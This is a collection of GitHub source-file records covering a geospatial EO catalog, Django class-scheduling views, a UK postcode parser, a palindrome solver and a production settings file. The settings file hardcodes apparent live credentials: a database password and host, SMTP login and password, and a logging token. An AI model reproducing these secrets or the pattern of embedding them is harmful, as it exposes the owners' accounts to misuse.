GeometryType, FieldDef\n from geodataflow.spatial.commonutils import GeometryUtils\n\n envelope = schema_def.envelope if schema_def.envelope else [0, -90, 360, 90]\n geometry = GeometryUtils.create_geometry_from_bbox(envelope[0], envelope[1], envelope[2], envelope[3])\n\n # Fetch schema from first EO Product.\n app_config = pipeline.config.copy()\n app_config['GEODATAFLOW__TEMP__PATH'] = processing_args.temp_data_path()\n field_dict = {f.name: f for f in schema_def.fields}\n new_fields = [\n FieldDef(name='productType', data_type=DataType.String),\n FieldDef(name='productDate', data_type=DataType.String)\n ]\n if fetch_fields:\n for product in self.fetch_products(geometry, schema_def.crs, app_config, limit=1):\n properties = product.properties\n\n for name, value in properties.items():\n if not field_dict.get(name):\n new_fields.append(FieldDef(name=name, data_type=DataType.to_data_type(value)))\n\n schema_def = schema_def.clone()\n schema_def.geometryType = GeometryType.Polygon\n schema_def.input_srid = schema_def.srid\n schema_def.input_crs = schema_def.crs\n schema_def.fields += new_fields\n\n # Redefine CRS when distinct of EPSG:4326?\n if not self.preserveInputCrs and schema_def.srid != 4326 and schema_def.envelope:\n from pyproj import CRS\n from geodataflow.spatial.commonutils import GeometryUtils\n\n schema_def.srid = 4326\n schema_def.crs = CRS.from_epsg(4326)\n\n transform_fn = GeometryUtils.create_transform_function(schema_def.input_crs, schema_def.crs)\n geometry = GeometryUtils.create_geometry_from_bbox(*schema_def.envelope)\n geometry = transform_fn(geometry)\n schema_def.envelope = list(geometry.bounds)\n\n return schema_def\n\n def run(self, feature_store, processing_args):\n \"\"\"\n Transform input Geospatial data. It should return a new iterable set of Geospatial features.\n \"\"\"\n schema_def = self.pipeline_args.schema_def\n app_config = self.pipeline_args.config.copy()\n app_config['GEODATAFLOW__TEMP__PATH'] = processing_args.temp_data_path()\n\n report_info = {\n 'driver': self.driver,\n 'provider': self.provider,\n 'productType': self.product,\n 'bounds': '',\n 'startDate': self.startDate,\n 'endDate': self.endDate,\n 'closestToDate': self.closestToDate if self.closestToDate else '',\n 'filter': self.filter if self.filter else '',\n 'availableDates': [],\n 'selectedDate': ''\n }\n\n # Transform Geometries to EPSG:4326 for searching EO Products?\n from geodataflow.spatial.commonutils import GeometryUtils\n inv_transform_fn = \\\n GeometryUtils.create_transform_function(4326, schema_def.input_crs) \\\n if self.preserveInputCrs else None\n\n for feature in feature_store:\n geometry = feature.geometry\n report_info['bounds'] = 'BBOX{}'.format(geometry.bounds)\n\n # Search EO Products!\n eo_products = [\n self.normalize_product(product, feature)\n for product in self.fetch_products(geometry, schema_def.input_crs, app_config, limit=1000)\n ]\n logging.info(\"Available {} EO Products for type '{}'.\".format(len(eo_products), self.product))\n\n available_dates = set([product.properties.get('productDate') for product in eo_products])\n report_info['availableDates'] = list(available_dates)\n\n # Return results.\n for product in self.pass_products(eo_products):\n report_info['selectedDate'] = product.properties.get('productDate')\n if inv_transform_fn:\n product.geometry = inv_transform_fn(product.geometry)\n\n yield product\n #\n\n report_context = \\\n processing_args.reportContext if hasattr(processing_args, 'reportContext') else None\n if report_context:\n setattr(report_context, self.className, report_info)\n\n pass\n\n def pass_products(self, products: Iterable[object]) -> Iterable[object]:\n \"\"\"\n Returns only those EO Products that match custom criteria (e.g. \"closestToDate\").\n \"\"\"\n if self.closestToDate:\n closest_time = datetime.datetime.strptime(self.closestToDate, '%Y-%m-%d')\n temp_dict = dict()\n temp_list = list()\n\n for product in products:\n product_date = product.properties.get('productDate')\n product_time = datetime.datetime.strptime(product_date, '%Y-%m-%d')\n product_diff = abs(product_time - closest_time).days\n temp_list.append((product_date, product_time, product_diff))\n curr_list = temp_dict.get(product_date, [])\n curr_list.append(product)\n temp_dict[product_date] = curr_list\n\n for best_item in sorted(temp_list, key=lambda tup: tup[2], reverse=False):\n best_date = best_item[0]\n best_list = temp_dict[best_date]\n return best_list\n\n return products\n\n def normalize_product(self, product: object, feature: object) -> object:\n \"\"\"\n Normalize properties of specified EOProduct.\n \"\"\"\n case_props = CaseInsensitiveDict(product.properties)\n attributes = feature.properties.copy()\n\n product_date = \\\n case_props.get('startTimeFromAscendingNode') or \\\n case_props.get('beginPosition') or \\\n case_props.get('ingestionDate') or \\\n case_props.get('publicationDate') or \\\n case_props.get('datetime')\n\n attributes['productType'] = self.product\n attributes['productDate'] = product_date[0:10]\n\n for name, value in product.properties.items():\n attributes[name] = value if not isinstance(value, list) else ','.join([str(v) for v in value])\n\n product.areaOfInterest = feature\n product.properties = attributes\n\n return product\n","repo_name":"ahuarte47/geodataflow","sub_path":"geodataflow/spatial/geodataflow/spatial/modules/EOProductCatalog.py","file_name":"EOProductCatalog.py","file_ext":"py","file_size_in_byte":11457,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"48"} +{"seq_id":"17029810127","text":"from django.shortcuts import render, get_object_or_404\nimport datetime\nfrom datetime import timedelta\nfrom django.contrib import messages\n\nfrom apps.aulas_previstas.models import AnoLetivo, Periodo, Feriado\nfrom apps.aulas_previstas.forms import AnoLetivoForm\nfrom apps.aulas_previstas.tabela_aulas_previstas import *\n\n\ndef daterange(start_date, end_date):\n \"\"\" Função geradora e iteradora de dias entre\n a start_date e a end_date \"\"\"\n\n for n in range(int((end_date + datetime.timedelta(days=1) - start_date).days)):\n yield start_date + timedelta(n)\n\n\ndef funcao_lista_dias_delta_t(epoca):\n \"\"\" Função que recebe o objeto deltaT (objeto do tipo periodo -> Natal, semestre, periodo , Páscoa, Carnaval)\n e retorna a lista de dias desse intervalo de tempo\"\"\"\n\n # define o tipo de data final do período escolhido, end_date 1, 2 ou 3\n if epoca.tipo == '3p_meio_ciclo':\n end_date = epoca.end_date2\n elif epoca.tipo == '3p_pre':\n end_date = epoca.end_date3\n else:\n end_date = epoca.end_date1\n\n lista_dias = []\n for single_date in daterange(epoca.start_date1, end_date):\n lista_dias.append(single_date)\n return lista_dias\n\n\ndef imprime_dias(msg, dicionario):\n \"\"\" Função para imprimir os dias de um dicionário \"\"\"\n\n print(msg)\n for i in dicionario:\n print(\"\\n ª {0} -> {1} dias\".format(i, len(dicionario[i])))\n\n # para debug — imprime todos os dias\n # for d in dicionario[i]:\n # print(\" \", d)\n\n print()\n\n\ndef load_feriados(request):\n try:\n name_id = request.GET.get('ano_letivo')\n print(request)\n feriados = Feriado.objects.filter(ano_letivo_id=name_id, tipo=\"municipal\").order_by('concelho')\n print(feriados)\n except (ValueError, Feriado.DoesNotExist):\n feriados = Feriado.objects.none()\n\n return render(\n request,\n 'aulas_previstas/feriado_dropdown_list_options.html',\n {'feriados': feriados}\n )\n\n\ndef load_fim_ano(request):\n try:\n name_id = request.GET.get('ano_letivo')\n grade = request.GET.get('grade')\n periodo = Periodo.objects.get(ano_letivo_id=name_id, tipo='3p')\n if grade == '3p_fim_ciclo':\n end_date = periodo.end_date1\n elif grade == '3p_meio_ciclo':\n end_date = periodo.end_date2\n else:\n end_date = periodo.end_date3\n p_data = end_date.__format__(\"%d/%m/%Y\")\n print(p_data)\n except (ValueError, Periodo.DoesNotExist):\n p_data = 'opss... data não encontrada'\n\n return render(\n request,\n 'aulas_previstas/data_fim_ano.html',\n {'fim_ano': p_data}\n )\n\n\ndef load_inicio_ano(request):\n try:\n name_id = request.GET.get('ano_letivo')\n periodo = Periodo.objects.get(ano_letivo_id=name_id, tipo=\"1p\")\n start_date1 = periodo.start_date1\n print(start_date1)\n start_date2 = periodo.start_date2\n print(start_date2)\n except (ValueError, Periodo.DoesNotExist):\n start_date1 = None\n start_date2 = None\n\n return render(\n request,\n 'aulas_previstas/data_inicio_ano.html',\n {\n 'inicio_ano_1': start_date1,\n 'inicio_ano_2': start_date2,\n }\n )\n\n\ndef calculo_previstas(request, data, ):\n \"\"\" Calcula as aulas previstas para um ano letivo \"\"\"\n\n # Seleciona o objeto ano letivo na base de dados\n # a partir do ano letivo inserido pelo user no formulário\n ano_letivo = AnoLetivo.objects.get(\n name=data['name'],\n )\n\n # seleciona o verbose_name a partir do campo grade do formulário\n grade = data['grade']\n lista_escolaridade = [\"Pré-escolar e 1º ciclo\", \"5º, 6º, 7º, 8º e 10º Anos\", \"9º, 11º e 12º Anos\"]\n escolaridade = ''\n if grade == '3p_pre':\n escolaridade = \"Pré-escolar e 1º ciclo\"\n elif grade == '3p_meio_ciclo':\n escolaridade = \"5º, 6º, 7º, 8º e 10º Anos\"\n elif grade == '3p_fim_ciclo':\n escolaridade = \"9º, 11º e 12º Anos\"\n\n # datas definidas pelo user no formulário\n user_inicio_al = data['inicio_ano'] # Data de início do ano letivo\n user_fim_1s = data['fim_1s'] # Data de fim do 1ºSemestre\n user_inicio_2s = data['inicio_2s'] # Data de início do 2ºSemestre\n\n # Seleciona, a partir do formulário, a carga semanal da disciplina.\n # Dicionário \"carga_semanal\" no formato (dia da semana: nºtempos)\n carga_semanal = {}\n for key in data:\n if key == 'segunda' and int(data[key]) != 0:\n carga_semanal.update({0: int(data[key])})\n elif key == 'terca' and int(data[key]) != 0:\n carga_semanal.update({1: int(data[key])})\n elif key == 'quarta' and int(data[key]) != 0:\n carga_semanal.update({2: int(data[key])})\n elif key == 'quinta' and int(data[key]) != 0:\n carga_semanal.update({3: int(data[key])})\n elif key == 'sexta' and int(data[key]) != 0:\n carga_semanal.update({4: int(data[key])})\n print(\" - Carga semanal (dia da semana: nºtempos):\", carga_semanal)\n if len(carga_semanal) == 0:\n print(' # Erro_1 - Não foram selecionados tempos letivos por dia da semana.')\n\n # Retorna uma lista com os objetos periodos (1P, 2P e 3P) ou (sem1 e sem2),\n # conforme os dados do formulário - data['grade']\n print(\" - Disciplina:\", data['disciplina'])\n lista_periodos = []\n if data[\"disciplina\"] == 'anual':\n periodo_1 = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo='1p')\n periodo_2 = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo='2p')\n periodo_3 = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo='3p')\n lista_periodos.extend((periodo_1, periodo_2, periodo_3))\n print(\" - Periodos selecionados:\", lista_periodos)\n if data[\"disciplina\"] == 'semestral':\n # para obter datas iniciais do semestre uso o 1p\n semestre_1 = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo='1p')\n # para obter datas finais do semestre uso o 3p\n semestre_2 = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo='3p')\n lista_periodos.extend((semestre_1, semestre_2))\n print(\" - Semestres selecionados:\", lista_periodos)\n\n # Recolhe as datas dos feriados nacionais e do feriado municipal\n lista_data_feriados = []\n try:\n # QuerySet com todos os feriados nacionais do ano_letivo\n feriados_nacionais = Feriado.objects.filter(ano_letivo=ano_letivo.id, tipo='nacional')\n # coloca as datas dos feriados nacionais numa lista e ordena a lista\n for f in feriados_nacionais:\n lista_data_feriados.append(f.data)\n lista_data_feriados.sort()\n print(\" - Feriados nacionais:\", lista_data_feriados)\n except Feriado.DoesNotExist:\n feriados_nacionais = None\n print(' # Erro_2 - Não foram definidos feriados nacionais para o ano letivo:', ano_letivo)\n\n try:\n # recolhe a data do feriado municipal introduzido pelo\n # user no form e adiciona à lista_data_feriados.\n feriado_municipal = Feriado.objects.get(\n ano_letivo=ano_letivo.id,\n data=data['feriado_movel'].data,\n concelho=data['feriado_movel'].concelho,\n )\n data_feriado_municipal = feriado_municipal.data\n print(\" - Feriado municipal:\", feriado_municipal)\n lista_data_feriados.append(data_feriado_municipal)\n\n except():\n feriado_municipal = None\n print(' # Erro_3 - Não foi definido um feriado municipal:', ano_letivo)\n # listas de objetos pausas letivas\n lista_pausas_letivas = []\n # Retorna lista com os dias de férias do Natal\n lista_dias_natal = []\n try:\n natal = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo=\"natal\")\n lista_pausas_letivas.append(natal)\n lista_dias_natal = funcao_lista_dias_delta_t(natal)\n print(\" - Dias de Natal:\", lista_dias_natal)\n except ValueError:\n print(' # Erro_4 - Não foram definidas as datas do Natal:', ano_letivo)\n\n # Retorna lista com os dias de férias do Carnaval\n lista_dias_carnaval = []\n try:\n carnaval = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo=\"carnaval\")\n lista_pausas_letivas.append(carnaval)\n lista_dias_carnaval = funcao_lista_dias_delta_t(carnaval)\n print(\" - Dias de Carnaval:\", lista_dias_carnaval)\n except ValueError:\n print(' # Erro_5 - Não foram definidas as datas do Carnaval:', ano_letivo)\n\n # Retorna lista com os dias de férias da Páscoa\n lista_dias_pascoa = []\n try:\n pascoa = get_object_or_404(Periodo, ano_letivo=ano_letivo.id, tipo=\"pascoa\")\n lista_pausas_letivas.append(pascoa)\n lista_dias_pascoa = funcao_lista_dias_delta_t(pascoa)\n print(\" - Dias de Páscoa:\", lista_dias_pascoa)\n except ValueError:\n print(' # Erro_6 - Não foram definidas as datas do Páscoa:', ano_letivo)\n\n # Calcula os dias de aulas segundo o formulário inserido pelo utilizador.\n # — dicionário_dias_uteis no formato -> {Periodo: [lista de dias_úteis]}\n # — dicionário_dias_aula no formato -> {Periodo: [lista_de dias_aula]}\n dicionario_dias_uteis = {}\n dicionario_dias_aula = {}\n for p in lista_periodos:\n lista_dias_uteis = []\n lista_dias_aula = []\n # inicialização de variáveis para datas\n start_date = 0\n end_date = 0\n\n # disciplina anual (com 3 Períodos)\n if data[\"disciplina\"] == 'anual':\n # permite utilizar a data de início do 1periodo inserida pelo user no formulário\n if p.tipo == '1p':\n start_date = user_inicio_al\n end_date = p.end_date1\n elif p.tipo == '3p':\n start_date = p.start_date1\n if grade == '3p_fim_ciclo':\n end_date = p.end_date1\n elif grade == '3p_meio_ciclo':\n end_date = p.end_date2\n else:\n end_date = p.end_date3\n else:\n start_date = p.start_date1\n end_date = p.end_date1\n\n # disciplina semestral (com 2 Semestres)\n if data[\"disciplina\"] == 'semestral':\n if p.tipo == '1p':\n start_date = user_inicio_al\n end_date = user_fim_1s\n else:\n start_date = user_inicio_2s\n if grade == '3p_fim_ciclo':\n end_date = p.end_date1\n elif grade == '3p_meio_ciclo':\n end_date = p.end_date2\n else:\n end_date = p.end_date3\n\n for single_date in daterange(start_date, end_date):\n # percorre todos os dias do período\n\n if single_date not in lista_data_feriados and \\\n single_date not in lista_dias_natal and \\\n single_date not in lista_dias_carnaval and \\\n single_date not in lista_dias_pascoa and \\\n single_date.weekday() != 5 and single_date.weekday() != 6:\n # O dia não é feriado, não é Natal, não é Carnaval, não é Páscoa,\n # não é sábado (5) nem domingo (6)...\n # Então é dia útil\n lista_dias_uteis.append(single_date)\n\n # verifica se o dia (single_date) é um dia de aula (com carga semanal)\n for da in carga_semanal:\n if single_date.weekday() == da:\n lista_dias_aula.append(single_date)\n # Atualiza os dicionários de dias de aula e útil\n # formato: {periodo: lista_dias}\n dicionario_dias_aula.update({p: lista_dias_aula})\n dicionario_dias_uteis.update({p: lista_dias_uteis})\n\n # imprime os dias úteis do ano letivo, se dicionário não vazio.\n if len(dicionario_dias_uteis) != 0:\n imprime_dias(\"\\n - Dias úteis por período/semestre:\", dicionario_dias_uteis)\n\n # imprime os dias de aula do ano letivo, se dicionário não vazio.\n if len(dicionario_dias_aula) != 0:\n imprime_dias(\" - Dias de aula por período/semestre:\", dicionario_dias_aula)\n\n dicionario_tabela_ap = {}\n lista = []\n calendario = [\n '2ªFeira', '3ªFeira', '4ªFeira', '5ªFeira', '6ªFeira'\n ]\n\n context = {}\n\n if data[\"disciplina\"] == 'anual':\n for key in carga_semanal:\n for p in dicionario_dias_aula:\n lista.append(p)\n linha_tabela_ap = TabelaAulasPrevistasPeriodos(\n key,\n carga_semanal[key],\n dicionario_dias_aula[lista[0]],\n dicionario_dias_aula[lista[1]],\n dicionario_dias_aula[lista[2]],\n )\n dicionario_tabela_ap.update({calendario[key]: linha_tabela_ap})\n\n soma_aulas_1p = 0\n soma_aulas_2p = 0\n soma_aulas_3p = 0\n soma_aulas_total = 0\n soma_previstas_1p = 0\n soma_previstas_2p = 0\n soma_previstas_3p = 0\n soma_previstas_total = 0\n for key, obj in dicionario_tabela_ap.items():\n soma_aulas_1p = soma_aulas_1p + obj.conta_weekdays_1p()\n soma_aulas_2p = soma_aulas_2p + obj.conta_weekdays_2p()\n soma_aulas_3p = soma_aulas_3p + obj.conta_weekdays_3p()\n soma_aulas_total = soma_aulas_total + obj.total_weekdays()\n soma_previstas_1p = soma_previstas_1p + obj.aulas_previstas_1p()\n soma_previstas_2p = soma_previstas_2p + obj.aulas_previstas_2p()\n soma_previstas_3p = soma_previstas_3p + obj.aulas_previstas_3p()\n soma_previstas_total = soma_previstas_total + obj.total_previstas()\n\n totais_dicionario_tabela_ap = {\n 'soma_aulas_1p': soma_aulas_1p,\n 'soma_aulas_2p': soma_aulas_2p,\n 'soma_aulas_3p': soma_aulas_3p,\n 'soma_aulas_total': soma_aulas_total,\n 'soma_previstas_1p': soma_previstas_1p,\n 'soma_previstas_2p': soma_previstas_2p,\n 'soma_previstas_3p': soma_previstas_3p,\n 'soma_previstas_total': soma_previstas_total,\n }\n\n context = {\n 'ano_letivo': ano_letivo, # objeto ano letivo\n 'disciplina': data['disciplina'], # tipo disciplina anual/semestral\n 'escolaridade': escolaridade, # tipo escolaridade (1p, 2p, 3p_pre ...) -> verbose name\n 'lista_escolaridade': lista_escolaridade, # lista com todos os níveis de ensino\n 'lista_periodos': lista_periodos, # lista de objetos periodos (períodos ou semestres)\n 'lista_feriados': lista_data_feriados, # lista de datas\n 'feriados_nacionais': feriados_nacionais, # queriset com os objetos feriados nacionais\n 'feriado_municipal': feriado_municipal, # objeto feriado municipal\n 'lista_pausas_letivas': lista_pausas_letivas, # lista com objetos natal, carnaval e páscoa\n 'lista_carnaval': lista_dias_carnaval, # lista de datas\n 'dias_de_aulas': carga_semanal, # dicionário com a carga semanal (dia semana: tempos)\n 'dicionario_dias_uteis': dicionario_dias_uteis, # dicionário (periodo: lista de dias uteis)\n 'dicionario_dias_aula': dicionario_dias_aula, # dicionário (periodo: lista de dias de aula)\n 'dicionario_tabela_ap': dicionario_tabela_ap, # dicionário de inteiros\n 'totais_dicionario_tabela_ap': totais_dicionario_tabela_ap, # dicionário de inteiros\n }\n\n if data[\"disciplina\"] == 'semestral':\n for key in carga_semanal:\n for p in dicionario_dias_aula:\n lista.append(p)\n linha_tabela_ap = TabelaAulasPrevistasSemestres(\n key,\n carga_semanal[key],\n dicionario_dias_aula[lista[0]],\n dicionario_dias_aula[lista[1]],\n )\n dicionario_tabela_ap.update({calendario[key]: linha_tabela_ap})\n\n soma_aulas_1s = 0\n soma_aulas_2s = 0\n soma_aulas_total = 0\n soma_previstas_1s = 0\n soma_previstas_2s = 0\n soma_previstas_total = 0\n for key, obj in dicionario_tabela_ap.items():\n soma_aulas_1s = soma_aulas_1s + obj.conta_weekdays_1s()\n soma_aulas_2s = soma_aulas_2s + obj.conta_weekdays_2s()\n soma_aulas_total = soma_aulas_total + obj.total_weekdays()\n soma_previstas_1s = soma_previstas_1s + obj.aulas_previstas_1s()\n soma_previstas_2s = soma_previstas_2s + obj.aulas_previstas_2s()\n soma_previstas_total = soma_previstas_total + obj.total_previstas()\n\n totais_dicionario_tabela_ap = {\n 'soma_aulas_1s': soma_aulas_1s,\n 'soma_aulas_2s': soma_aulas_2s,\n 'soma_aulas_total': soma_aulas_total,\n 'soma_previstas_1s': soma_previstas_1s,\n 'soma_previstas_2s': soma_previstas_2s,\n 'soma_previstas_total': soma_previstas_total,\n }\n\n context = {\n 'ano_letivo': ano_letivo, # objeto ano letivo\n 'disciplina': data['disciplina'], # tipo disciplina anual/semestral\n 'escolaridade': escolaridade, # tipo escolaridade (1p, 2p, 3p_pre ...) -> verbose name\n 'lista_escolaridade': lista_escolaridade, # lista com todos os níveis de ensino\n 'lista_periodos': lista_periodos, # lista de objetos periodos (períodos ou semestres)\n 'lista_feriados': lista_data_feriados, # lista de datas\n 'feriados_nacionais': feriados_nacionais, # queriset com os objetos feriados nacionais\n 'feriado_municipal': feriado_municipal, # objeto feriado municipal\n 'lista_pausas_letivas': lista_pausas_letivas, # lista com objetos natal, carnaval e páscoa\n 'lista_carnaval': lista_dias_carnaval, # lista de datas\n 'dias_de_aulas': carga_semanal, # dicionário com a carga semanal (dia semana: tempos)\n 'dicionario_dias_uteis': dicionario_dias_uteis, # dicionário (periodo: lista de dias uteis)\n 'dicionario_dias_aula': dicionario_dias_aula, # dicionário (periodo: lista de dias de aula)\n 'dicionario_tabela_ap': dicionario_tabela_ap, # dicionário de inteiros\n 'totais_dicionario_tabela_ap': totais_dicionario_tabela_ap, # dicionário de inteiros\n }\n\n return context\n\n\ndef homepage(request):\n \"\"\" Apresenta a página inicial da Calculadora de Aulas Previstas \"\"\"\n\n if request.method == \"POST\":\n form = AnoLetivoForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n print(type(data))\n print(\" \\n *** Calculadora de aulas pervistas *** \\n\")\n print(\" - Dados do Formulário:\", data)\n context = calculo_previstas(request, data)\n # request.session['data'] = data\n messages.success(request, \"Resultados calculados com sucesso!\")\n template_name = 'aulas_previstas/results.html'\n return render(request, template_name, context)\n else:\n if form.errors:\n messages.error(request, \"Verifique os campos do formulário!\")\n template_name = \"aulas_previstas/homepage.html\"\n context = {\"form\": form}\n return render(request, template_name, context)\n\n form = AnoLetivoForm\n message = 'Calc @:P'\n template_name = 'aulas_previstas/homepage.html'\n return render(request, template_name, context={\"form\": form, 'msn': message})\n\n\ndef show_results(request):\n \"\"\" Apresenta os resultados do calculo de aulas previstas efetuado \"\"\"\n\n template_name = 'aulas_previstas/results.html'\n print(\"oi\")\n # data = request.session.get(\"data\")\n # print(data)\n context = {\n 'msn': 'Olá Mundo',\n }\n\n return render(request, template_name, context)\n\n# TODO validar as datas do formulário ... data de inicio maior que fim etc... etc...\n# __FEITO__ todo validar carga semanal... pensar como fazer\n# __FEITO__ todo colocar datapicker nos campos data ( início de ano letivo, fim 1S e Inicio 2S )\n# __FEITO__ todo corrigir os cálculo de previstas... ver TODOs acima neste ficheiro\n# Todo colocar os dados do formulário num cartão nos results\n# todo verificar cálculo quando disciplina semestral\n# todo homepage.html colocar info nos cartões de ajuda, ao lado do form\n# todo results.html preencher outros cartões\n","repo_name":"zemmarques/calc_AP_v1.0","sub_path":"apps/aulas_previstas/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":20837,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"7946013767","text":"import ast\nfrom collections import OrderedDict\nfrom contextlib import closing\nfrom django.db import connection\nfrom base.choices import dictfetchall, dictfetchone\n\n\ndef list_productimage(requests):\n sql = f\"\"\"\n\n select iii.id, iii.image, ppp.title \n from mebel_site_productimage iii\n inner join mebel_site_product ppp on iii.product_id = ppp.id \n\n \"\"\"\n with closing(connection.cursor()) as cursor:\n cursor.execute(sql)\n items = dictfetchall(cursor)\n result = []\n for i in items:\n result.append(_format(i))\n\n return OrderedDict([\n ('items', result)\n ])\n\n\ndef get_one(requestes, pk):\n sql = \"\"\" \n select iii.id, iii.image, ppp.title \n from mebel_site_productimage iii\n inner join mebel_site_product ppp on iii.product_id = ppp.id \n where iii.id=%s \n \"\"\"\n\n with closing(connection.cursor()) as cursor:\n cursor.execute(sql, [pk])\n result = _format(dictfetchone(cursor))\n return OrderedDict([\n ('item', result)\n ])\n\n\ndef _format(data):\n if data['title']:\n name = OrderedDict([\n (\"uz\", ast.literal_eval(data['title'])['uz']),\n (\"ru\", ast.literal_eval(data['title'])['ru'])\n ])\n else:\n name = None\n\n return OrderedDict(\n [\n ('id', data['id']),\n ('title', name),\n ('image', data['image']),\n ]\n )\n","repo_name":"Saiddev1122/Mebel-online-shop-","sub_path":"MebelShop/api/v1/ProductImage/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4183435445","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nUK Postcode manipulation\n\nPort of https://github.com/threedaymonk/uk_postcode\n\nSee http://www.freemaptools.com/download-uk-postcode-lat-lng.htm\n\"\"\"\n\nimport re\nfrom collections import namedtuple\n\n\nPATTERN = r'''(?:\n ( G[I1]R \\s* [0O]AA ) # special postcode\n |\n ( [A-PR-UWYZ01][A-Z01]? ) # area\n ( [0-9IO][0-9A-HJKMNPR-YIO]? ) # district\n (?: \\s*\n ( [0-9IO] ) # sector\n ( [ABD-HJLNPQ-Z10]{2} ) # unit\n )?\n)$'''\n\n\npostcode_tuple = namedtuple('Postcode', 'raw,area,district,sector,unit')\n\n\nclass Postcode(postcode_tuple):\n __slots__ = ()\n\n @property\n def outcode(self):\n return self.area + self.district\n\n @property\n def incode(self):\n if self.sector is not None and self.unit is not None:\n return self.sector + self.unit\n\n @property\n def full(self):\n return bool(self.outcode and self.incode)\n\n @property\n def normalised(self):\n return ' '.join(p for p in (self.outcode, self.incode) if p).upper()\n\n\ndef _letters(s):\n \"\"\"Replace common digit-instead-of-alpha mistakes\"\"\"\n if s:\n return s.replace('10', 'IO')\n\n\ndef _digits(s):\n \"\"\"Replace common alpha-instead-of-digit mistakes\"\"\"\n if s:\n return s.replace('IO', '10')\n\n\ndef validate(raw_postcode, incode_required=False):\n r = raw_postcode.strip().upper()\n match = re.match(PATTERN, r, re.VERBOSE | re.IGNORECASE)\n if not match:\n return None\n\n matches = match.groups()\n\n if matches[0]:\n parts = ['G', 'IR', '0', 'AA']\n\n else:\n parts = matches[1:]\n\n if incode_required:\n if not parts[2] and not parts[3]:\n return None\n\n if re.match('^[A-Z][1I]$', parts[0]):\n parts[0] = parts[0][0]\n parts[1] = '1' + parts[1]\n\n parts = [_letters(parts[0]), _digits(parts[1]), _digits(parts[2]), _letters(parts[3])]\n\n return Postcode(raw_postcode, *parts)\n","repo_name":"tikazyq/udacity-dand","sub_path":"proj2/postcode/uk.py","file_name":"uk.py","file_ext":"py","file_size_in_byte":1981,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73022675025","text":"class Solution:\n def longestPalindrome(self, s: str) -> str:\n if len(s) <= 1:\n return s\n ans, temp = \"\", \"\"\n size = 0\n for i in range(len(s)):\n for j in range(i, len(s)):\n temp += s[j]\n if temp == temp[::-1] and size < len(temp):\n ans = temp\n size = len(temp)\n temp = \"\"\n return ans","repo_name":"Baluyotkevin/LeetPractice","sub_path":"5-longest-palindromic-substring/longest-palindromic-substring.py","file_name":"longest-palindromic-substring.py","file_ext":"py","file_size_in_byte":421,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24636314992","text":"__author__ = 'varun'\n\nimport os\n\nSUBCRIPTION_SPREADSHEET_KEY = '1HUjusmHI41AbmrvcUkh_8gs-Z3kMKWSJopS1B_Z-BQM'\nSUBCRIPTION_WORKSHEET_KEY = 'od6'\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.postgresql_psycopg2',\n 'NAME': 'codeaton',\n 'USER': 'codeaton',\n 'PASSWORD': '6nV-trE-5xZ-ger',\n 'HOST': 'codeaton-db.cixo4mjprn2r.us-west-2.rds.amazonaws.com',\n 'PORT': '5432'\n }\n}\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': True,\n 'formatters': {\n 'standard': {\n 'format': \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",\n 'datefmt': \"%d/%b/%Y %H:%M:%S\"\n },\n },\n 'handlers': {\n 'null': {\n 'level': 'DEBUG',\n 'class': 'django.utils.log.NullHandler',\n },\n 'logfile': {\n 'level': 'DEBUG',\n 'class': 'logging.handlers.RotatingFileHandler',\n 'filename': os.path.dirname(os.path.abspath(__file__)) + \"/../logs/log.log\",\n 'maxBytes': 5000,\n 'backupCount': 2,\n 'formatter': 'standard',\n },\n 'logentries_handler': {\n 'token': '88660975-3df8-41b7-a451-5d060d550dfa',\n 'class': 'logentries.LogentriesHandler'\n },\n 'console': {\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',\n 'formatter': 'standard'\n },\n },\n 'loggers': {\n '': {\n 'handlers': ['console', 'logfile', 'logentries_handler'],\n 'level': 'DEBUG',\n },\n 'django': {\n 'handlers': ['console', 'logfile', 'logentries_handler'],\n 'propagate': True,\n 'level': 'WARN',\n },\n 'django.db.backends': {\n 'handlers': ['console', 'logfile'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n }\n}\n\nURL = \"http://www.codeaton.co\"\nSMTP_SERVER = \"email-smtp.us-east-1.amazonaws.com\"\nSMTP_SERVER_PORT = 587\nSMTP_USERNAME = \"AKIAIJUZK5T7YN4GMIXQ\"\nSMTP_PASSWORD = \"AgbbsdsNQpvAPxyZCviQBTPaJdP2e46M8wSJxOjldacU\"\nSMTP_FROM_EMAIL = \"support@codeaton.com\"\nUSE_LANDING_PAGE = True\n\n# SECURITY WARNING: don't run with debug turned on in production!\nDEBUG = False","repo_name":"CodeAton1/codeaton","sub_path":"codeaton/settings_prod.py","file_name":"settings_prod.py","file_ext":"py","file_size_in_byte":2255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"73363451665","text":"'''\n File name: mymosaic.py\n Author: Po-Yuan Wang & Xuanyi Zhao\n Date created: 11/10/2019\n'''\n\n'''\n File clarification:\n Produce a mosaic by overlaying the pairwise aligned images to create the final mosaic image. If you want to implement\n imwarp (or similar function) by yourself, you should apply bilinear interpolation when you copy pixel values. \n As a bonus, you can implement smooth image blending of the final mosaic.\n - Input img_input: M elements numpy array or list, each element is a input image.\n - Outpuy img_mosaic: H × W × 3 matrix representing the final mosaic image.\n'''\nimport numpy as np\nimport 